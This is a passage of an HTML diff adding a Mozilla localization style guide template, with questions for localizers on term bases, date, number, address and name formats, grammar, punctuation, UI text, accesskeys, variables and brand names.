+ <li id="magicdomid44"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Associate a culturally specific image with the meaning and function of the term.</span></li>
+</ul>
+
+<h5 id="Developing_new_term_bases"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq b"><strong>Developing new term base</strong></span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd b"><strong>s</strong></span></h5>
+
+<div id="magicdomid47"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">What is your </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">community's</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> process </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">for</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> identifying and creating a new t</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">ermbase</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">? Here are a few things to keep in mind:</span></div>
+
+<ul>
+ <li id="magicdomid48"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Avoid </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">o</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">verly borrowing English expressions</span></li>
+ <li id="magicdomid49"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Referenc</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">ing</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> another language f</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">rom</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> the same language </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">family</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> may inspire you to come up with your own terms</span></li>
+ <li id="magicdomid50"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Consider the product target audience (age</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">,</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> level of literacy, education</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">,</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> social </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">and</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> economic status)</span></li>
+ <li id="magicdomid51"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Will you use l</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">oan words</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd"> from another language</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">or coin new terms in your language to maintain</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">language purity?</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> Is there government requirement or policy to encourage creating new terms for new concepts</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">, o</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">r </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">will </span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">loan words </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">be sufficient to</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> reach broader masses </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">and</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> expedite new technology adoption</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">?</span></li>
+ <li id="magicdomid52"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">If there are two acceptable scripts commonly used by the general public, what is the commonly used script on the web or government sites?  What is the script used by major web technology companies?</span></li>
+</ul>
+
+<h3 id="Units_and_Grammar"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Units</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> and Grammar </span></h3>
+
+<div id="magicdomid57"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Many elements of unit or grammar do not exist or apply to all languages. If you find one of these elements that does not apply to your language, please remove it from your style guide.</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> For those definitions of units and grammar that apply document the reference used or how it will be applied to the translation.</span></div>
+
+<div id="magicdomid58"></div>
+
+<div id="magicdomid59"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">The translation should strive to achieve proper unit conversions for currency, measurements, etc. for the target audience.</span></div>
+
+<div id="magicdomid60"></div>
+
+<h4 id="Units_and_Unit_Conversion"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Units and Unit Conversion</span></h4>
+
+<h5 id="Date_Format"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Date Format</span></h5>
+
+<div id="magicdomid64"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">How are the date formats for weeks and months expressed in the following forms: </span></div>
+
+<ul>
+ <li><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">1). Fully spelled out</span> 2).<span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> 2 or 3 letters  </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">3). Single letter</span></li>
+ <li id="magicdomid65"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">What is the order of Year, Month and Day?  </span></li>
+</ul>
+
+<div id="magicdomid66"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Reference material can be find here: </span>https://en.wikipedia.org/wiki/Date_format_by_country</div>
+
+<div></div>
+
+<h5 id="Calendar_view"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">C</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">alendar</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> view: </span></h5>
+
+<ul>
+ <li id="magicdomid68"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">   Which date is considered the first day of the week, Sunday or Monday?  </span></li>
+ <li id="magicdomid69"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">   Is Lunar calendar observed?  Other regional calendar observed?</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> </span></li>
+</ul>
+
+<h5 id="Time_Format"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Time Format</span></h5>
+
+<div id="magicdomid72"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">How is time expressed in your language? </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">I</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">ncluding 0-24 hr expression, hour, minute and second.</span></div>
+
+<div></div>
+
+<h5 id="Numerals"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Numerals </span></h5>
+
+<div id="magicdomid76"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">How are numerals an</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">d percentages</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> expressed in your language?  </span></div>
+
+<div><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">    Example: 1.23 (decimal separator) or 1,000 (thousand separator) using comma or period. </span></div>
+
+<div></div>
+
+<h5 id="Currency"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Currency  </span></h5>
+
+<div><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">What are other widely used currency and symbols used in your country/language for paid apps. </span></div>
+
+<div id="magicdomid79"></div>
+
+<h5 id="Units"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Units</span></h5>
+
+<div id="magicdomid81"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Do you use the imperial, metric or nautical system for measuring weight, distance, etc.? Source strings will use the imperial system (e.g., miles, pounds, feet, gallons, etc.). Target translations should convert imperial metrics to their measurement system.</span></div>
+
+<div id="magicdomid82"></div>
+
+<h5 id="Names"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Name</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">s</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">  </span></h5>
+
+<div id="magicdomid84">What are the order of family name and given name in your language?  Do people use multiple family names? What about patronymics? (The W3C has an introduction to this topic <a href="https://www.w3.org/International/questions/qa-personal-names">here</a>.)</div>
+
+<div></div>
+
+<h5 id="Address_and_Postal_Code_Format"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Address and Postal Code Format </span></h5>
+
+<div id="magicdomid87"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">What is the format in your language?  </span></div>
+
+<div id="magicdomid88"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">    Example: most Asian countries start from big to small: [Country] [postal code][state/province][city][district][street number and name][building and suite numbers][addressee]</span></div>
+
+<div id="magicdomid89"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">    Countries of European languages start from small to big: [addressee][street number and name][building and suite numbers][district][city][state/province][postal code][Country]</span></div>
+
+<div id="magicdomid90"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">   </span></div>
+
+<h5 id="Telephone_Number_format"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Telephone Number format</span></h5>
+
+<div id="magicdomid92"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Space separators between digits can be different for area codes such as State (Province) and City, </span></div>
+
+<div id="magicdomid94"></div>
+
+<h4 id="Spelling_And_Grammar_Checks"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj b"><strong>Spelling And Grammar Checks</strong></span></h4>
+
+<div id="magicdomid96"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Many languages have national or international standards that define spelling and grammar rules. When defining these rules for your community, make reference to those standards wherever possible. </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Do you have automated tests for spell checking and grammar</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">?</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">List those tools and dictionaries here and how regularly they should be used.</span></div>
+
+<div id="magicdomid97"></div>
+
+<h5 id="Tense"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj b"><strong>Tense</strong></span></h5>
+
+<div id="magicdomid99"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Do you have standards for verb forms that indicate or express the time, such as past, present, or future, of the action or state</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">? What is your policy on tense consistency for certain use cases? For example, for phrases that ask a user to make an action (like "Download Firefox"), do you use a future tense, a command tense, or a neutral tense? </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> (See: </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj url"><a href="https://en.wikipedia.org/wiki/Grammatical_tense">https://en.wikipedia.org/wiki/Grammatical_tense</a></span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> )</span></div>
+
+<div id="magicdomid100"></div>
+
+<h4 id="Word_Forms"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj b"><strong>Word Forms</strong></span></h4>
+
+<h5 id="Pluralization"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Pluralization  </span></h5>
+
+<div id="magicdomid106"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">What is the appropriate form of expressing pluralization in your language?  </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">L</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">ist all forms of plural forms and examples if there is more than one.  </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Additional discussions can be found Here. </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj url"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Localization/Localization_and_Plurals">https://developer.mozilla.org/en-US/docs/Mozilla/Localization/Localization_and_Plurals</a></span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> and here:  </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj url"><a href="http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html">http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html</a></span></div>
+
+<div id="magicdomid107"></div>
+
+<h5 id="Abbreviations"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Abbreviations  </span></h5>
+
+<p><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">How are abbreviations expressed in your language?</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd"> </span><br>
+ <span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">    Example, in English, abbreviations are made by removing most vowels and only using the first 3-5 consonants followed by a period (e.g., abbreviation = abbr.).</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">  (see: </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj url"><a href="https://en.wikipedia.org/wiki/Abbreviation%29">https://en.wikipedia.org/wiki/Abbreviation)</a></span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">    </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd"> </span></p>
+
+<p><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">If your language does not have a standard way of expressing abbreviations, do you simply leave them in English?</span></p>
+
+<h5 id="Acronyms"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Acronyms </span></h5>
+
+<div id="magicdomid113">
+<p><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Are there standard</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> translat</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">ions of</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> widely accepted acronyms such as CD, DVD, MB</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd"> in your language? If not, do they remain in English?</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> (see: </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj url"><a href="https://en.wikipedia.org/wiki/Acronym">https://en.wikipedia.org/wiki/Acronym</a></span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> )</span></p>
+</div>
+
+<h5 id="Punctuation"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj b"><strong>Punctuation</strong></span></h5>
+
+<div id="magicdomid117"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Do you use different punctuation rules in your Firefox localization than what your language standard defines? </span></div>
+
+<div><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">    Example: do you use a period at the end of every user interface element translation or only some? </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">W</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">hat is the international/national standard for punctuation in your language</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">?</span></div>
+
+<div id="magicdomid118"></div>
+
+<h5 id="Emphasis"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Emphasis</span></h5>
+
+<p><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Is there an international/national standard for capitalization</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> in your language? </span></p>
+
+<ul>
+ <li><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">If so, do those standard rules apply in all product translations? </span></li>
+ <li><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">I</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">f this doe</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">sn</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">'t apply, how </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">do you</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> indicate importance or name of a movie, book title, product UIs (</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq u"><u>S</u></span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">ave, </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj u"><u>F</u></span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">ile...)</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd"> in your language?</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> </span></li>
+ <li><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">How does your language handle the use of bold, italic, or underline types to express emphasis?</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">  ( See: </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj url"><a href="https://en.wikipedia.org/wiki/Italic_type">https://en.wikipedia.org/wiki/Italic_type</a></span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> )</span></li>
+</ul>
+
+<h5 id="Hyphens_and_compounds"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Hyphens and compounds </span></h5>
+
+<div id="magicdomid123"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">What is the appropriate </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">way</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> of </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">using</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> hyphens and compounds in your language?  ( </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj url"><a href="https://en.wikipedia.org/wiki/Compound_%28linguistics%29">https://en.wikipedia.org/wiki/Compound_%28linguistics%29</a></span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> ) </span></div>
+
+<div id="magicdomid124"></div>
+
+<h5 id="Prepositions_and_articles"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Prepositions and articles</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> </span></h5>
+
+<div id="magicdomid126"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">What is the appropriate form of expressing prepositions and articles in your language?</span></div>
+
+<div id="magicdomid127"></div>
+
+<h5 id="Diacritics_and_Special_characters"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Diacritics and </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Special characters</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">  </span></h5>
+
+<div id="magicdomid129"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Does your language use</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> any special </span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">or accented characters</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> and will they be applied and preserved in sort orders, and other aspects of the translation</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">?</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> (see: </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj url"><a href="https://en.wikipedia.org/wiki/Diacritic">https://en.wikipedia.org/wiki/Diacritic</a></span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> )</span></div>
+
+<div id="magicdomid130"></div>
+
+<h5 id="Quotes"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Quotes  </span></h5>
+
+<div id="magicdomid132">
+<p><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Does your language have a standard use for quotation marks, parenthesis, or brackets?</span></p>
+</div>
+
+<h5 id="Whitespace"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Whitespace </span></h5>
+
+<div id="magicdomid135">
+<p><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Does your language require the</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> use of white space around words, sentences, paragraphs, etc</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">.? If so, in what ways?</span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">  (see: </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj url"><a href="https://en.wikipedia.org/wiki/Sentence_spacing_in_language_and_style_guides">https://en.wikipedia.org/wiki/Sentence_spacing_in_language_and_style_guides</a></span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj"> )</span></p>
+</div>
+
+<h5 id="User_Interface_Elements"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj b"><strong>User Interface Elements</strong></span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">        </span></h5>
+
+<div id="magicdomid139"></div>
+
+<ul>
+ <li id="magicdomid140"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Titles :  Should be brief and precise. Localizers can assume that source content reaches 2/3 of the total available line space. This allows localization text to expand and not be truncated or resolved through ellipsis. Title on the final page (meaning no more click through) should allow enough room to display full text.         </span></li>
+ <li id="magicdomid142"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Buttons: Capitalize the first letter of each word. Limit to one or two words. Use verbs that precisely describe the button's action. For example, "Cancel", "Clear History", "Add Email", "Select All", etc.          </span></li>
+ <li id="magicdomid144"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Value Selector Lists: Capitalize the first letter of the first word and the first letter of any proper nouns. Limit to one or two words. </span></li>
+ <li id="magicdomid147"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Articles:  </span><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Avoid them where possible. Articles (such as the word "the" in English) should be avoided wherever possible. User interface elements have limited space available for text. Avoiding articles will help ensure that your translations will be accommodated within the user interface.              </span></li>
+ <li id="magicdomid149"><span class="author-a-z66zuz70zqiz67zz73z3z90zhp4z68zz73zpj">Ellipsis: Ellipsis are often inserted automatically in the UI where strings are truncated. Ellipsis should only be used at high level of UI pages, but not be on the final page (after a series of click-through) where detailed instruction is given. Ellipsis should not be used as a way to solve truncation issue.  Focus on making the UI short and precise.  The sequence of the sentence structure in another language may not translate well, when a sentence is half finished as such.     </span></li>
+</ul>
+</div>
+
+<h2 id="General_Mozilla_l10n_style">General Mozilla l10n style</h2>
+
+<h3 id="Accuracy">Accuracy</h3>
+
+<h4 id="Meaning-based_translation"><span class="author-p-1460 b"><strong>Meaning-based translation</strong></span></h4>
+
+<div id="magicdomid3"><span class="author-p-1460">When it comes to translation, meaning is everything. A translator needs to understand the source text's meaning exactly. You then find its most closely linked equivalent in your own language, without adding or subtracting meaning in your translation. Finding meaning-based equivalents between languages can be difficult. To help concentrate your thoughts, ask yourself questions like:</span></div>
+
+<ul>
+ <li><span class="author-p-1460">What does this word/sentence/string mean in English?</span></li>
+ <li><span class="author-p-1460">What is the message the author is trying to send?</span></li>
+ <li><span class="author-p-1460">How would I express that meaning in my own language?</span></li>
+</ul>
+
+<p><span class="author-p-1460">Sometimes translation memory and machine translation tools can offer bad suggestions for a translation. If you use either as part of your translation workflow, make sure to correct the suggestions before submitting them. Avoid literal translation at all costs. Watch out for words that might sound or look the same between English and your language, but have a different meaning. </span></p>
+
+<h4 id="Should_not_be_translated">Should not be translated</h4>
+
+<h5 id="Shortcuts_and_accesskeys">Shortcuts and accesskeys</h5>
+
+<p>In Firefox and other software it's possible to use keyboard shortcuts to invoke a specific command. For example, to open a file in Firefox you can press the combination of keys <code>CTRL+O</code> (<code>Cmd+O</code> on Mac). The accelerator key depends on the operative system, but the letter itself is normally localizable. This is what is called a shortcut, or commandkey. For example, the <code>Open File…</code> menu item is stored as</p>
+
+<pre class="sourcelines stripes notranslate"><span id="l61"><span class="k">&lt;!ENTITY</span> <span class="ni">openFileCmd.label</span> <span class="s2">"Open File…"</span><span class="k">&gt;</span></span>
+<span id="l62"><span class="k">&lt;!ENTITY</span> <span class="ni">openFileCmd.accesskey</span> <span class="s2">"O"</span><span class="k">&gt;</span></span>
+<span id="l63"><span class="k">&lt;!ENTITY</span> <span class="ni">openFileCmd.commandkey</span> <span class="s2">"o"</span><span class="k">&gt;</span></span></pre>
+
+<p>The commandkey is stored in <code>openFileCmd.commandkey</code> (sometimes the string has <code>.key</code> in the identifier). Normally you should not localize this key, since shortcuts are often common across the entire operative system (e.g. <code>CTRL+S</code> to Save) or similar products (<code>CTRL+T</code> to open a new tab in most browsers). But it needs to be localized if the letter is not available in your keyboard layout. For example, in Italian the character <code>[</code> can be accessed through <code>ALT+è</code>, a command key <code>[</code> would not work.</p>
+
+<p>In the code fragment above you see also an accesskey defined for <code>Open File…</code>. Accesskeys are used to access a UI element from the keyboard. Example: if File menu has an accesskey F, and the Open file… menu has O, you can press ALT+F to access the menu, and then O to open a file.</p>
+
+<p>If the label is File, and the accesskey is F, it will be displayed as "<u>F</u>ile" on Windows and Linux, with an underscored F. If the accesskey was "O", so a character not available in the original label, it will be displayed underlined between parenthesis: "File (<u>O</u>)".</p>
+
+<p>One important thing to determine is if, for your locale, it makes sense to have localized accesskeys: for example, if most users will use a keyboard with a different layout (English), it might make sense to keep the English original accesskey instead of using a letter available in your localization.</p>
+
+<p>Accesskeys, like commandkeys, have their own lines within .dtd and .properties files and are usually identified by .accesskey in the string ID.</p>
+
+<h5 id="Variables"><span class="author-p-1460">Variables</span></h5>
+
+<p><span class="author-p-1460">Variables should never be translated. You can recognize a variable within a string by its beginning with a specific character (e.g., <span class="author-p-1460">$, #, %, etc.)</span> followed by a combination of words without spacing. For example, $BrandShortName and %S are variables.  </span>You can move a variable around within a string, if the translation of the string requires it.</p>
+
+<h5 id="Brands_copyright_and_trademark"><strong><span class="author-p-1460">Brands, copyright, and trademark</span></strong></h5>
+
+<p><span class="author-p-1460">Brand names, as well as copyright and trademarks should never be translated, nor transliterated into a non-Latin based script. See the <a href="https://www.mozilla.org/en-US/styleguide/communications/translation/">Mozilla branding guide</a> for more details.</span></p>
+
+<p><span style="">Translating c</span><span style="">ulture-specific references</span></p>
+
+<p>At times there will be English content included in Mozilla products or web projects (e.g., marketing campaigns) that makes references to American culture and concepts. When translating these, it is best to find an equivalent cultural reference within your own culture that accurately conveys the meaning of the English reference. For example, an American might say, "Good job, home run!" A home run is a baseball reference for a successful outcome. An appropriate translation would be an equivalent metaphor within your culture. Using soccer as an example, you might translate "Good job, home run!" into "Good job, nice goal!" in your language.</p>
+
+<p>[Add a note about Mozilla culture.]</p>
+
+<h4 id="Legal_content">Legal content</h4>
+
+<p>Mozilla projects will often contain legal content in the form of user agreements, privacy statements, etc. When reviewing the translation of legal content, Mozilla localizers should do so according to the criteria concerning accuracy, fluency, style, and terminology found within this style guide and according to Mozilla culture and values.</p>
+
+<h3 id="Fluency"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Fluency</span></h3>
+
+<div id="magicdomid153"></div>
+
